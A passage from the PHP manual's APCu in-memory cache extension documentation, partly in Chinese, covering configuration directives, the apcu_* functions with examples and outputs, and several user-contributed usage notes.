    • apcu_delete — Removes a stored variable from the cache
    • apcu_enabled — Whether APCu is usable in the current environment
    • apcu_entry — Atomically fetch or generate a cache entry
    • apcu_exists — Checks if entry exists
    • apcu_fetch — Fetch a stored variable from the cache
    • apcu_inc — Increase a stored number
    • apcu_key_info — Get detailed information about the cache key
    • apcu_sma_info — Retrieves APCu Shared Memory Allocation information
    • apcu_store — 缓存一个变量到存储中
  • APCUIterator — APCUIterator 类
    • APCUIterator::__construct — Constructs an APCUIterator iterator object
    • APCUIterator::current — Get current item
    • APCUIterator::getTotalCount — Get total count
    • APCUIterator::getTotalHits — Get total cache hits
    • APCUIterator::getTotalSize — Get total cache size
    • APCUIterator::key — Get iterator key
    • APCUIterator::next — Move pointer to next item
    • APCUIterator::rewind — Rewinds iterator
    • APCUIterator::valid — Checks if current position is valid

User Contributed Notes

alex at modula-shop-systems dot de 21-Sep-2020 11:43
For PHP-FPM :
Note that all ini values are PHP_INI_SYSTEM and can't be set via php_admin_value in pool.d/xxx.conf and therefore not via different webhosting control/configuration panels.

Use /etc/php/7.x/fpm/conf.d/20-apcu.ini or /etc/php/7.x/fpm/php.ini
boefje at hotmail dot com 29-May-2020 10:55
To use apcu, the apcu extension has to be installed. You can find it here https://pecl.php.net/package/APCu

Note: apcu is not the same as apc!

APCu is the official replacement for the outdated APC extension. APC provided both opcode caching (opcache) and object caching. As PHP versions 5.5 and above include their own opcache, APC was no longer compatible, and its opcache functionality became useless. The developers of APC then created APCu, which offers only the object caching (read "in memory data caching") functionality (they removed the outdated opcache).

Wondering how to use apcu? The following example should give you a basic understanding.

<?php

date_default_timezone_set('Europe/Amsterdam');

$apcuAvailabe = function_exists('apcu_enabled') && apcu_enabled();

if($apcuAvailabe)
{
    //apcu_clear_cache();

    $test1 = apcu_fetch('test1');
    $test2 = apcu_fetch('test2');
}

$test1[] = rand(1, 1000);
$test2[] = rand(1, 1000);

if($apcuAvailabe)
{
    apcu_store('test1', $test1);
    apcu_store('test2', $test2);
}

echo sprintf('current - value = %s<br/>', implode(' ,', $test1));
echo sprintf('current - value = %s<br/>', implode(' ,', $test2));

$aPCUIterator = new APCUIterator();

echo sprintf('totalCount = %s<br/>', $aPCUIterator->getTotalCount());
//echo sprintf('totalHits = %s<br/>', $aPCUIterator->getTotalHits()); // Not implemneted/available?
echo sprintf('totalSize = %s<br/>', $aPCUIterator->getTotalSize());

echo '----------------------------------<br/>';

$aPCUIterator->rewind();
echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
$aPCUIterator->next();

echo '----------------------------------<br/>';

echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
echo sprintf('valid = %s<br/>', $aPCUIterator->valid() ? 'true' : 'false');

function echoCurrent($current)
{

    echo sprintf('current - type = %s<br/>', $current['type']);
    echo sprintf('current - key = %s<br/>', $current['key']);
    echo sprintf('current - value = %s<br/>', implode(' ,', $current['value']));
    //echo sprintf('current - num_hits = %s<br/>', $current['num_hits']); // Not implemneted/available?
    echo sprintf('current - mtime = %s<br/>', date("d-m-Y H:i:s", $current['mtime']));
    echo sprintf('current - creation_time = %s<br/>', date("d-m-Y H:i:s", $current['creation_time']));
    echo sprintf('current - deletion_time = %s<br/>', date("d-m-Y H:i:s", $current['deletion_time']));
    echo sprintf('current - access_time = %s<br/>', date("d-m-Y H:i:s", $current['access_time']));
    //echo sprintf('current - ref_count = %s<br/>', $current['ref_count']); // Not implemneted/available?
    echo sprintf('current - mem_size = %s<br/>', $current['mem_size']);
    //echo sprintf('current - ttl = %s<br/>', $current['ttl']); // Not implemneted/available?
}

?>


简介

APCu 是 PHP 版的内存键值存储。 键是 string 类型且值可以为 PHP 任何变量。 APCu 仅支持用户空间（userland）级别的变量缓存。

APCu 缓存在 Windows 上是按进程的，所以当使用基于进程（而不是基于线程）的 SAPI 时，它不会在不同的进程之间共享。

APCu 是去除了操作码缓存的 APC。

第一个 APCu 代码库版本是 v4.0.0，是在那时从 APC master 分支中 fork 出来的。 APCu v5.0.0 起提供 PHP 7 支持。自 APCu v5.1.19 起提供 PHP 8 支持。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

There are no user contributed notes for this page.


需求

构建此扩展不需要其他扩展。

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/apcu.

Tip

PHP 7 has a separate module (» apcu-bc) for backwards compatibility with APC.

In backward compatibility mode, APCu registers the applicable APC functions with backward compatible prototypes.

Where an APC function accepted cache_type, it is simply ignored by the backward compatible version, and omitted from the prototype for the APCu version.

Warning

As of PHP 8.0.0, apcu-bc is no longer supported.

Note: On Windows, APCu needs a temp path to exist, and be writable by the web server. It checks the TMP, TEMP and USERPROFILE environment variables in that order and finally tries the WINDOWS directory if none of those are set.

Note: For more in-depth, highly technical implementation details, see the » developer-supplied TECHNOTES file .

APCu sources can be found » here.

User Contributed Notes

Anonymous 18-Jan-2023 08:47
To load apcu, add `extension=apcu` in file `php.ini`. Location(s) of `php.ini` can be found by hosting a php-file containing

<?php
phpinfo( );
?>

and request that file it in a browser. That page will also show information about apcu if it is loaded.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Although the default APCu settings are fine for many installations, serious users should consider tuning the following parameters.

There is one decision to be made configuring APCu. How much memory is going to be allocated to APCu. The ini directive that controls this is apc.shm_size Read the sections on this carefully below.

Once the server is running, the apc.php script that is bundled with the extension should be copied somewhere into the docroot and viewed with a browser as it provides a detailed analysis of the internal workings of APCu. If GD is enabled in PHP, it will even display some interesting graphs.

If APCu is working, the Cache full count number (on the left) will display the number of times the cache has reached maximum capacity and has had to evict entries to free up memory. During eviction, if apc.ttl was specified, APCu will first attempt to remove expired entries, i.e. entries whose TTL has either expired, or entries that have no TTL set and haven't been accessed in the last apc.ttl seconds. If apc.ttl was not set, or removing expired entries did not free up enough space, APCu will clear the entire cache.

The number of evictions should be minimal in a well-configured cache. If the cache is constantly being filled, and thusly forcefully freed, the resulting churning will have disparaging effects on script performance. The easiest way to minimize this number is to allocate more memory for APCu.

When APCu is compiled with mmap support (Memory Mapping), it will use only one memory segment, unlike when APCu is built with SHM (SysV Shared Memory) support that uses multiple memory segments. MMAP does not have a maximum limit like SHM does in /proc/sys/kernel/shmmax. In general MMAP support is recommended because it will reclaim the memory faster when the webserver is restarted and all in all reduces memory allocation impact at startup.

APCu configuration options
名字 | 默认 | 可修改范围 | 更新日志
apc.enabled | "1" | PHP_INI_SYSTEM |
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "32M" | PHP_INI_SYSTEM |
apc.entries_hint | "4096" | PHP_INI_SYSTEM |
apc.ttl | "0" | PHP_INI_SYSTEM |
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.slam_defense | "1" | PHP_INI_SYSTEM |
apc.enable_cli | "0" | PHP_INI_SYSTEM |
apc.use_request_time | "0" | PHP_INI_ALL | Prior to APCu 5.1.19, the default was "1".
apc.serializer | "php" | PHP_INI_SYSTEM | Prior to APCu 5.1.15, the default was "default".
apc.coredump_unmap | "0" | PHP_INI_SYSTEM |
apc.preload_path | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

apc.enabled bool

apc.enabled can be set to 0 to disable APC. This is primarily useful when APC is statically compiled into PHP, since there is no other way to disable it (when compiled as a DSO, the extension line in php.ini can just be commented-out).

apc.shm_segments int

The number of shared memory segments to allocate for the compiler cache. If APC is running out of shared memory but apc.shm_size is set as high as the system allows, raising this value might prevent APC from exhausting its memory.

apc.shm_size string

The size of each shared memory segment given by a shorthand notation as described in this FAQ. By default, some systems (including most BSD variants) have very low limits on the size of a shared memory segment.

apc.entries_hint int

A "hint" about the number of distinct variables that might be stored. Set to zero or omit if not sure.

apc.ttl int

Consider cache entries without an explicit TTL to be expired if they have not been accessed in this many seconds. Effectively, this allows such entries to be removed opportunistically during a cache insert, or prior to a full expunge. Note that because removal is opportunistic, entries can still be readable even if they are older than apc.ttl seconds. This setting has no effect on cache entries that have an explicit TTL specified.

apc.gc_ttl int

The number of seconds that a cache entry may remain on the garbage-collection list. This value provides a fail-safe in the event that a server process dies while executing a cached source file; if that source file is modified, the memory allocated for the old version will not be reclaimed until this TTL reached. Set to zero to disable this feature.

apc.mmap_file_mask string

If compiled with MMAP support by using --enable-mmap this is the mktemp-style file_mask to pass to the mmap module for determining whether your mmap'ed memory region is going to be file-backed or shared memory backed. For straight file-backed mmap, set it to something like /tmp/apc.XXXXXX (exactly 6 Xs). To use POSIX-style shm_open/mmap put a .shm somewhere in your mask. e.g. /apc.shm.XXXXXX You can also set it to /dev/zero to use your kernel's /dev/zero interface to anonymous mmap'ed memory. Leaving it undefined will force an anonymous mmap.

apc.slam_defense int

On very busy servers whenever you start the server or modify files you can create a race of many processes all trying to cache the same file at the same time. This option sets the percentage of processes that will skip trying to cache an uncached file. Or think of it as the probability of a single process to skip caching. For example, setting apc.slam_defense to 75 would mean that there is a 75% chance that the process will not cache an uncached file. So, the higher the setting the greater the defense against cache slams. Setting this to 0 disables this feature.

apc.enable_cli int

Mostly for testing and debugging. Setting this enables APC for the CLI version of PHP. Under normal circumstances, it is not ideal to create, populate and destroy the APC cache on every CLI request, but for various test scenarios it is useful to be able to enable APC for the CLI version of PHP easily.

apc.serializer string

Used to configure APC to use a third party serializer.

apc.coredump_unmap bool

Enables APC handling of signals, such as SIGSEGV, that write core files when signaled. When these signals are received, APC will attempt to unmap the shared memory segment in order to exclude it from the core file. This setting may improve system stability when fatal signals are received and a large APC shared memory segment is configured.

Warning

This feature is potentially dangerous. Unmapping the shared memory segment in a fatal signal handler may cause undefined behaviour if a fatal error occurs.

Note:

Although some kernels may provide a facility to ignore various types of shared memory when generating a core dump file, these implementations may also ignore important shared memory segments such as the Apache scoreboard.

apc.preload_path string

Optionally, set a path to the directory that APC will load cache data at startup.

apc.use_request_time bool

Use the SAPI request start time for TTL.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

此扩展没有定义资源类型。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

APC_ITER_ALL (int)
APC_ITER_ATIME (int)
APC_ITER_CTIME (int)
APC_ITER_DEVICE (int)
APC_ITER_DTIME (int)
APC_ITER_FILENAME (int)
APC_ITER_INODE (int)
APC_ITER_KEY (int)
APC_ITER_MD5 (int)
APC_ITER_MEM_SIZE (int)
APC_ITER_MTIME (int)
APC_ITER_NONE (int)
APC_ITER_NUM_HITS (int)
APC_ITER_REFCOUNT (int)
APC_ITER_TTL (int)
APC_ITER_TYPE (int)
APC_ITER_VALUE (int)
APC_LIST_ACTIVE (int)
APC_LIST_DELETED (int)

User Contributed Notes

There are no user contributed notes for this page.


APCu 函数

Table of Contents

  • apcu_add — 缓存一个新变量到存储中
  • apcu_cache_info — 从 APCu 存储中获取缓存信息
  • apcu_cas — Updates an old value with a new value
  • apcu_clear_cache — Clears the APCu cache
  • apcu_dec — Decrease a stored number
  • apcu_delete — Removes a stored variable from the cache
  • apcu_enabled — Whether APCu is usable in the current environment
  • apcu_entry — Atomically fetch or generate a cache entry
  • apcu_exists — Checks if entry exists
  • apcu_fetch — Fetch a stored variable from the cache
  • apcu_inc — Increase a stored number
  • apcu_key_info — Get detailed information about the cache key
  • apcu_sma_info — Retrieves APCu Shared Memory Allocation information
  • apcu_store — 缓存一个变量到存储中

User Contributed Notes

There are no user contributed notes for this page.


缓存一个新变量到存储中

  • ? APCu 函数
  • apcu_cache_info ?
  • PHP Manual
  • APCu 函数
  • 缓存一个新变量到存储中

apcu_add

(PECL apcu >= 4.0.0)

apcu_add — 缓存一个新变量到存储中

说明

apcu_add(string $key, mixed $var, int $ttl = 0): bool
apcu_add(array $values, mixed $unused = NULL, int $ttl = 0): array

将一个从未被缓存过的变量添加到到存储中。

Note: 与 PHP 中常见的变量生命周期不同的是，通过 apcu_add() 存储的变量可以在多个 request 之间共享（直到该变量从 cache 中被删除）。

参数

key

使用此名称存储变量。key 必须是唯一的，因此如果用 apcu_add() 存储变量时指定的 key 已经存在， 就会直接返回 false，不会覆写已有的数据。（这也是 apcu_add() 和 apcu_store() 之间唯一的区别。）

var

被存储的变量

ttl

变量生存时间（Time To Live）；被存储的 var 经过 ttl 秒后，会从存储中被删除（下一次请求时）。如果没提供 ttl （或 ttl 为 0 ），该变量会一直存在直到手动删除它，或者其他原因导致该变量从缓存中消失（清除，重启等等。）。

values

数组索引作为 key，数组值作为被存储的 var。

返回值

变量被成功添加时返回 TRUE，否则返回 FALSE。第二种语法返回包含添加失败的 key 的数组。

示例

Example #1 apcu_add() 示例

<?php
$bar = 'BAR';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
$bar = 'NEVER GETS SET';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
?>

以上示例会输出：

string(3) "BAR"
string(3) "BAR"

参见

  • apcu_store() - 缓存一个变量到存储中
  • apcu_fetch() - Fetch a stored variable from the cache
  • apcu_delete() - Removes a stored variable from the cache

User Contributed Notes

sritter at satoya dot cz 27-Mar-2021 03:19
This is usable for locking/unlocking

<?php
do {} while (!apcu_add('lock_name', 'foo', 10));
// this part is protected against multiple/multithread run
apcu_delete('lock_name');


从 APCu 存储中获取缓存信息

  • ? apcu_add
  • apcu_cas ?
  • PHP Manual
  • APCu 函数
  • 从 APCu 存储中获取缓存信息

apcu_cache_info

(PECL apcu >= 4.0.0)

apcu_cache_info — 从 APCu 存储中获取缓存信息

说明

apcu_cache_info(bool $limited = false): array|false

从 APCu 存储中获取缓存信息和元数据（meta-data）。

参数

limited

如果 limited 为 true，则不会返回具体被缓存的数据的列表，这在尝试根据统计数据进行调用优化时是很有用的。

返回值

成功时返回包含缓存数据（和元数据）的数组 或者在失败时返回 false

Note: 当 apcu_cache_info() 无法获取到缓存信息时会触发警告（warning），这种情况通常是因为没有开启 APC 功能。

更新日志

版本 | 说明
PECL apcu 3.0.11 | 引入了 limited 参数。
PECL apcu 3.0.16 | 为 cache_type 参数增加了 "filehits" 选项。

示例

Example #1 apcu_cache_info() 示例

<?php
print_r(apcu_cache_info());
?>

以上示例的输出类似于：

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apcu_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...依次列出每个缓存文件)
)

参见

  • APCu 配置指令
  • APCUIterator::getTotalSize() - Get total cache size
  • APCUIterator::getTotalHits() - Get total cache hits
  • APCUIterator::getTotalCount() - Get total count

User Contributed Notes

RQuadling at GMail dot com 30-Jun-2022 10:33
If you get the following warning when using APCu functions via PHP's CLI SAPI:

  PHP Warning:  apcu_cache_info(): No APC info available.  Perhaps APC is not enabled? Check apc.enabled in your ini file

then check the status of `apc.enable_cli`. This is a separate INI entry for enabling APC via the CLI SAPI.


Updates an old value with a new value

  • ? apcu_cache_info
  • apcu_clear_cache ?
  • PHP Manual
  • APCu 函数
  • Updates an old value with a new value

apcu_cas

(PECL apcu >= 4.0.0)

apcu_cas — Updates an old value with a new value

说明

apcu_cas(string $key, int $old, int $new): bool

apcu_cas() updates an already existing integer value if the old parameter matches the currently stored value with the value of the new parameter.

参数

key

The key of the value being updated.

old

The old value (the value currently stored).

new

The new value to update to.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 apcu_cas() example

<?php
apcu_store('foobar', 2);
echo '$foobar = 2', PHP_EOL;
echo '$foobar == 1 ? 2 : 1 = ', (apcu_cas('foobar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;
echo '$foobar == 2 ? 1 : 2 = ', (apcu_cas('foobar', 2, 1) ? 'ok' : 'fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;

echo '$f__bar == 1 ? 2 : 1 = ', (apcu_cas('f__bar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;

apcu_store('perfection', 'xyz');
echo '$perfection == 2 ? 1 : 2 = ', (apcu_cas('perfection', 2, 1) ? 'ok' : 'epic fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;
?>

以上示例的输出类似于：

$foobar = 2
$foobar == 1 ? 2 : 1 = fail
$foobar == 2 ? 1 : 2 = ok
$foobar = 1
$f__bar == 1 ? 2 : 1 = fail
$perfection == 2 ? 1 : 2 = epic fail
$foobar = 1

参见

  • apcu_dec() - Decrease a stored number
  • apcu_store() - 缓存一个变量到存储中

User Contributed Notes

Anonymous 03-Feb-2018 12:49
The output in the example says:

$f__bar == 1 ? 2 : 1 = fail

but in reality it should be:

$f__bar == 1 ? 2 : 1 =  ok

the first time the code is ran as the cache is empty and apcu_cas allows the key to be inserted.


Clears the APCu cache

  • ? apcu_cas
  • apcu_dec ?
  • PHP Manual
  • APCu 函数
  • Clears the APCu cache

apcu_clear_cache

(PECL apcu >= 4.0.0)

apcu_clear_cache — Clears the APCu cache

说明

apcu_clear_cache(): bool

Clears the cache.

参数

此函数没有参数。

返回值

Returns true always

参见

  • apcu_cache_info() - 从 APCu 存储中获取缓存信息

User Contributed Notes

There are no user contributed notes for this page.


Decrease a stored number

  • ? apcu_clear_cache
  • apcu_delete ?
  • PHP Manual
  • APCu 函数
  • Decrease a stored number

apcu_dec

(PECL apcu >= 4.0.0)

apcu_dec — Decrease a stored number

说明

apcu_dec(
string $key,
int $step = 1,
bool &$success = ?,
int $ttl = 0
): int|false

Decreases a stored integer value.

参数

key

The key of the value being decreased.

step

The step, or value to decrease.

success

Optionally pass the success or fail boolean value to this referenced variable.

ttl

TTL to use if the operation inserts a new value (rather than decrementing an existing one).

返回值

Returns the current value of key's value on success, 或者在失败时返回 false

示例

Example #1 apcu_dec() example

<?php
echo "Let's do something with success", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_dec('anumber'), PHP_EOL;
echo apcu_dec('anumber', 10), PHP_EOL;
echo apcu_dec('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_dec('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

以上示例的输出类似于：

Let's do something with success
42
41
31
21
bool(true)
Now, let's fail

bool(false)
bool(false)

参见

  • apcu_inc() - Increase a stored number

User Contributed Notes

There are no user contributed notes for this page.


Removes a stored variable from the cache

  • ? apcu_dec
  • apcu_enabled ?
  • PHP Manual
  • APCu 函数
  • Removes a stored variable from the cache

apcu_delete

(PECL apcu >= 4.0.0)

apcu_delete — Removes a stored variable from the cache

说明

apcu_delete(mixed $key): mixed

Removes a stored variable from the cache.

参数

key

A key used to store the value as a string for a single key, or as an array of strings for several keys, or as an APCUIterator object.

返回值

If key is an array, an indexed array of the keys is returned. Otherwise true is returned on success, or false on failure.

示例

Example #1 A apcu_delete() example

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
apcu_delete('foo');
// this is obviously useless in this form

// Alternatively delete multiple keys.
apcu_delete(['foo', 'bar', 'baz']);

// Or use an Iterator with a regular expression.
apcu_delete(new APCUIterator('#^myprefix_#'));
?>

参见

  • apcu_store() - 缓存一个变量到存储中
  • apcu_fetch() - Fetch a stored variable from the cache
  • apcu_clear_cache() - Clears the APCu cache
  • APCUIterator

User Contributed Notes

ywarnier at beeznest dot org 28-Dec-2022 08:52
Calling apcu_delete() on an unexisting cached variable name doesn't generate a NOTICE (nor WARNING), making it safe to use if unsure of the state of that variable.


Whether APCu is usable in the current environment

  • ? apcu_delete
  • apcu_entry ?
  • PHP Manual
  • APCu 函数
  • Whether APCu is usable in the current environment

apcu_enabled

(PECL apcu >= 4.0.3)

apcu_enabled — Whether APCu is usable in the current environment

说明

apcu_enabled(): bool

Returns whether APCu is usable in the current environment.

参数

此函数没有参数。

返回值

Returns true when APCu is usable in the current environment, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Atomically fetch or generate a cache entry

  • ? apcu_enabled
  • apcu_exists ?
  • PHP Manual
  • APCu 函数
  • Atomically fetch or generate a cache entry

apcu_entry

(PECL apcu >= 5.1.0)

apcu_entry — Atomically fetch or generate a cache entry

说明

apcu_entry(string $key, callable $generator, int $ttl = 0): mixed

Atomically attempts to find key in the cache, if it cannot be found generator is called, passing key as the only argument. The return value of the call is then cached with the optionally specified ttl, and returned.

Note: When control enters apcu_entry() the lock for the cache is acquired exclusively, it is released when control leaves apcu_entry(): In effect, this turns the body of generator into a critical section, disallowing two processes from executing the same code paths concurrently. In addition, it prohibits the concurrent execution of any other APCu functions, since they will acquire the same lock.

Warning

The only APCu function that can be called safely by generator is apcu_entry().

参数

key

Identity of cache entry

generator

A callable that accepts key as the only argument and returns the value to cache.

ttl

Time To Live; store var in the cache for ttl seconds. After the ttl has passed, the stored variable will be expunged from the cache (on the next request). If no ttl is supplied (or if the ttl is 0), the value will persist until it is removed from the cache manually, or otherwise fails to exist in the cache (clear, restart, etc.).

返回值

Returns the cached value

示例

Example #1 An apcu_entry() example

<?php
$config = apcu_entry("config", function($key) {
return [
"fruit" => apcu_entry("config.fruit", function($key){
return [
"apples",
"pears"
];
}),
"people" => apcu_entry("config.people", function($key){
return [
"bob",
"joe",
"niki"
];
})
];
});

var_dump($config);
?>

以上示例会输出：

array(2) {
  ["fruit"]=>
  array(2) {
    [0]=>
    string(6) "apples"
    [1]=>
    string(5) "pears"
  }
  ["people"]=>
  array(3) {
    [0]=>
    string(3) "bob"
    [1]=>
    string(3) "joe"
    [2]=>
    string(4) "niki"
  }
}

参见

  • apcu_store() - 缓存一个变量到存储中
  • apcu_fetch() - Fetch a stored variable from the cache
  • apcu_delete() - Removes a stored variable from the cache

User Contributed Notes

There are no user contributed notes for this page.


Checks if entry exists

  • ? apcu_entry
  • apcu_fetch ?
  • PHP Manual
  • APCu 函数
  • Checks if entry exists

apcu_exists

(PECL apcu >= 4.0.0)

apcu_exists — Checks if entry exists

说明

apcu_exists(mixed $keys): mixed

Checks if one or more APCu entries exist.

参数

keys

A string, or an array of strings, that contain keys.

返回值

Returns true if the key exists, otherwise false Or if an array was passed to keys, then an array is returned that contains all existing keys, or an empty array if none exist.

示例

Example #1 apcu_exists() example

<?php
$fruit = 'apple';
$veggie = 'carrot';

apcu_store('foo', $fruit);
apcu_store('bar', $veggie);

if (apcu_exists('foo')) {
echo "Foo exists: ";
echo apcu_fetch('foo');
} else {
echo "Foo does not exist";
}

echo PHP_EOL;
if (apcu_exists('baz')) {
echo "Baz exists.";
} else {
echo "Baz does not exist";
}

echo PHP_EOL;

$ret = apcu_exists(array('foo', 'donotexist', 'bar'));
var_dump($ret);

?>

以上示例的输出类似于：

Foo exists: apple
Baz does not exist
array(2) {
  ["foo"]=>
  bool(true)
  ["bar"]=>
  bool(true)
}

参见

  • apcu_cache_info() - 从 APCu 存储中获取缓存信息
  • apcu_fetch() - Fetch a stored variable from the cache

User Contributed Notes

There are no user contributed notes for this page.


Fetch a stored variable from the cache

  • ? apcu_exists
  • apcu_inc ?
  • PHP Manual
  • APCu 函数
  • Fetch a stored variable from the cache

apcu_fetch

(PECL apcu >= 4.0.0)

apcu_fetch — Fetch a stored variable from the cache

说明

apcu_fetch(mixed $key, bool &$success = ?): mixed

Fetches an entry from the cache.

参数

key

The key used to store the value (with apcu_store()). If an array is passed then each element is fetched and returned.

success

Set to true in success and false in failure.

返回值

The stored variable or array of variables on success; false on failure

更新日志

版本 | 说明
PECL apcu 3.0.17 | The success parameter was added.

示例

Example #1 A apcu_fetch() example

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

以上示例会输出：

string(3) "BAR"

参见

  • apcu_store() - 缓存一个变量到存储中
  • apcu_delete() - Removes a stored variable from the cache
  • APCUIterator

User Contributed Notes

orlando at thoeny dot dev 21-Apr-2023 11:23
Note that $success is set to false if no cached entry with given key exists.
So "failure" tells you if the cache was hit or not.


Increase a stored number

  • ? apcu_fetch
  • apcu_key_info ?
  • PHP Manual
  • APCu 函数
  • Increase a stored number

apcu_inc

(PECL apcu >= 4.0.0)

apcu_inc — Increase a stored number

说明

apcu_inc(
string $key,
int $step = 1,
bool &$success = ?,
int $ttl = 0
): int|false

Increases a stored number.

参数

key

The key of the value being increased.

step

The step, or value to increase.

success

Optionally pass the success or fail boolean value to this referenced variable.

ttl

TTL to use if the operation inserts a new value (rather than incrementing an existing one).

返回值

Returns the current value of key's value on success, 或者在失败时返回 false

示例

Example #1 apcu_inc() example

<?php
echo "Let's do something with success", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_inc('anumber'), PHP_EOL;
echo apcu_inc('anumber', 10), PHP_EOL;
echo apcu_inc('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_inc('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

以上示例的输出类似于：

Let's do something with success
42
43
53
63
bool(true)
Now, let's fail

bool(false)
bool(false)

参见

  • apcu_dec() - Decrease a stored number

User Contributed Notes

There are no user contributed notes for this page.


Get detailed information about the cache key

  • ? apcu_inc
  • apcu_sma_info ?
  • PHP Manual
  • APCu 函数
  • Get detailed information about the cache key

apcu_key_info

(No version information available, might only be in Git)

apcu_key_info — Get detailed information about the cache key

说明

apcu_key_info(string $key): ?array

Get detailed information about the cache key

参数

key

Get detailed information about the cache key

返回值

An array containing the detailed information about the cache key, or null if the key does not exist.

示例

Example #1 A apcu_key_info() example

<?php
apcu_add('a','b');
var_dump(apcu_key_info('a'));
?>

以上示例会输出：

array(7) {
  ["hits"]=>
  int(0)
  ["access_time"]=>
  int(1606701783)
  ["mtime"]=>
  int(1606701783)
  ["creation_time"]=>
  int(1606701783)
  ["deletion_time"]=>
  int(0)
  ["ttl"]=>
  int(0)
  ["refs"]=>
  int(0)
}

参见

  • apcu_store() - 缓存一个变量到存储中
  • apcu_fetch() - Fetch a stored variable from the cache
  • apcu_delete() - Removes a stored variable from the cache

User Contributed Notes

There are no user contributed notes for this page.


Retrieves APCu Shared Memory Allocation information

  • ? apcu_key_info
  • apcu_store ?
  • PHP Manual
  • APCu 函数
  • Retrieves APCu Shared Memory Allocation information

apcu_sma_info

(PECL apcu >= 4.0.0)

apcu_sma_info — Retrieves APCu Shared Memory Allocation information

说明

apcu_sma_info(bool $limited = false): array|false

Retrieves APCu Shared Memory Allocation information.

参数

limited

When set to false (default) apcu_sma_info() will return a detailed information about each segment.

返回值

Array of Shared Memory Allocation data; false on failure.

示例

Example #1 A apcu_sma_info() example

<?php
print_r(apcu_sma_info());
?>

以上示例的输出类似于：

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

参见

  • APCu configuration directives

User Contributed Notes

There are no user contributed notes for this page.


缓存一个变量到存储中

  • ? apcu_sma_info
  • APCUIterator ?
  • PHP Manual
  • APCu 函数
  • 缓存一个变量到存储中

apcu_store

(PECL apcu >= 4.0.0)

apcu_store — 缓存一个变量到存储中

说明

apcu_store(string $key, mixed $var, int $ttl = 0): bool
apcu_store(array $values, mixed $unused = NULL, int $ttl = 0): array

缓存一个变量到存储中。

Note: 与 PHP 中常见的变量生命周期不同的是，通过 apcu_store() 存储的变量可以在多个 request 之间共享（直到该变量从 cache 中被删除）。

参数

key

使用此名称存储变量。key 是唯一的，因此当多次使用同样的 key 存储变量时，后一次会覆盖前一次的值。

var

被存储的变量

ttl

变量生存时间（Time To Live）；被存储的 var 经过 ttl 秒后，会从存储中被删除（下一次请求时）。如果没提供 ttl （或 ttl 为 0 ），该变量会一直存在直到手动删除它，或者其他原因导致该变量从缓存中消失（清除，重启等等。）。

values

数组索引作为 key，数组值作为被存储的 var。

返回值

成功时返回 true， 或者在失败时返回 false。 第二种语法返回包含存储失败的 key 的数组。

示例

Example #1 apcu_store() 示例

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

以上示例会输出：

string(3) "BAR"

参见

  • apcu_add() - 缓存一个新变量到存储中
  • apcu_fetch() - Fetch a stored variable from the cache
  • apcu_delete() - Removes a stored variable from the cache

User Contributed Notes

info at qmegas dot info 11-Mar-2021 01:34
Be careful when updating same key with ttl set during same request. For example:
<?php
for ($i = 0; $i < 20; $i++) {
    apcu_store('test', $i, 10);
    sleep(1);
}
?>

After 10 seconds the key will become not available and won't be updated. Tested on Windows and Linux platforms. Not sure if it's a bug or undocumented behavior.


APCUIterator 类

(PECL apcu >= 5.0.0)

简介

